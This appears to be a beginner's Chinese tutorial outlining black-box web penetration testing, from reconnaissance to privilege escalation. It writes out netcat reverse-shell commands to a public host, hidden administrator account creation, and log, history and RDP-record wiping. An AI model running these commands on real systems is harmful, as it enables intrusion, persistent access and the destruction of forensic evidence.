Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標(biāo)網(wǎng)站的源碼等信息的情況下對其滲透,相當(dāng)于代碼分析審計。而黑盒測試則是在對該網(wǎng)站系統(tǒng)信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權(quán),內(nèi)網(wǎng)滲透,留后門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然后注入得到后臺管理員賬號密碼,登錄后臺,上傳小馬,再通過小馬上傳大馬,提權(quán),內(nèi)網(wǎng)轉(zhuǎn)發(fā),進(jìn)行內(nèi)網(wǎng)滲透,掃描內(nèi)網(wǎng)c段存活主機(jī)及開放端口,看其主機(jī)有無可利用漏洞(nessus)端口(nmap)對應(yīng)服務(wù)及可能存在的漏洞,對其利用(msf)拿下內(nèi)網(wǎng),留下后門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到數(shù)據(jù)庫并可執(zhí)行cmd命令,可繼續(xù)上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術(shù)可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實(shí)ip,子域名(Layer子域名爆破機(jī)),旁站(K8旁站,御劍1.5),c段,網(wǎng)站負(fù)責(zé)人及其信息(whois查詢)
整站信息:服務(wù)器操作系統(tǒng)、服務(wù)器類型及版本(Apache/Nginx/Tomcat/IIS)、數(shù)據(jù)庫類型(MySQL/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網(wǎng)站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放端口信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網(wǎng)站進(jìn)行網(wǎng)站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實(shí)體注入)漏洞
SSRF(服務(wù)端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠(yuǎn)程代碼執(zhí)行漏洞
CORS跨域資源共享漏洞
越權(quán)訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什么也好對相應(yīng)漏洞進(jìn)行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后臺密碼爆破(burp)
端口爆破(hydra)
提權(quán)
獲得shell之后我們權(quán)限可能很低,因此要對自己提權(quán),可以根據(jù)服務(wù)器版本對應(yīng)的exp進(jìn)行提權(quán),對于windows系統(tǒng)也可看其補(bǔ)丁對應(yīng)漏洞的exp進(jìn)行提權(quán)
內(nèi)網(wǎng)滲透
首先進(jìn)行端口轉(zhuǎn)發(fā)可用nc
nc使用方法:
反向連接
在公網(wǎng)主機(jī)上進(jìn)行監(jiān)聽:
nc-lvp 4444
在內(nèi)網(wǎng)主機(jī)上執(zhí)行:
nc-e cmd.exe 公網(wǎng)主機(jī)ip4444
成功之后即可得到一個內(nèi)網(wǎng)主機(jī)shell
正向連接
遠(yuǎn)程主機(jī)上執(zhí)行:
nc-l -p 4444 -t -e cmd.exe
本地主機(jī)上執(zhí)行:
nc-vv 遠(yuǎn)程主機(jī)ip4444
成功后,本地主機(jī)即可遠(yuǎn)程主機(jī)的一個shell
然后就是對內(nèi)網(wǎng)進(jìn)行滲透了,可以用主機(jī)漏洞掃描工具(nessus,x-scan等)進(jìn)行掃描看是否有可用漏洞,可用msf進(jìn)行利用,或者用nmap掃描存活主機(jī)及開放端口,可用hydra進(jìn)行端口爆破或者用msf對端口對應(yīng)漏洞得到shell拿下內(nèi)網(wǎng)留后門
留后門
對于網(wǎng)站上傳一句話木馬,留下后門
對于windows用戶可用hideadmin創(chuàng)建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實(shí)現(xiàn)控制版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。
痕跡清理
日志清理:在win環(huán)境下的話用msf清理,命令如下:
runclearlogs
clearev
如果在Liunx環(huán)境下:
rm-f -r /var/log刪除/var/log下的文件
exportHISTSIZE=0export HISTSIZE=0刪除bashshell保存的最后500條命令
3389遠(yuǎn)程登陸記錄清除:
@echooff
@regdelete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal
ServerClientDefault" /va /f
@del"%USERPROFILE%My DocumentsDefault.rdp" /a
@exit
另外在滲透時盡量用代理以免輕易的暴露自己ip。
本人呢,也是個剛?cè)氚踩Φ牟穗u,以上是在學(xué)習(xí)中對滲透過程的一點(diǎn)總結(jié),大牛勿噴,希望可以幫到那些剛剛?cè)腴T的信息安全愛好者。
相關(guān)練習(xí)
滲透綜合場景演練:利用自己學(xué)習(xí)到的知識對目標(biāo)進(jìn)行滲透測試,獲取目標(biāo)系統(tǒng)的權(quán)限,從而獲取敏感信息,那么恭喜你,你已經(jīng)完成了從安全小白到滲透測試工程師的蛻變。







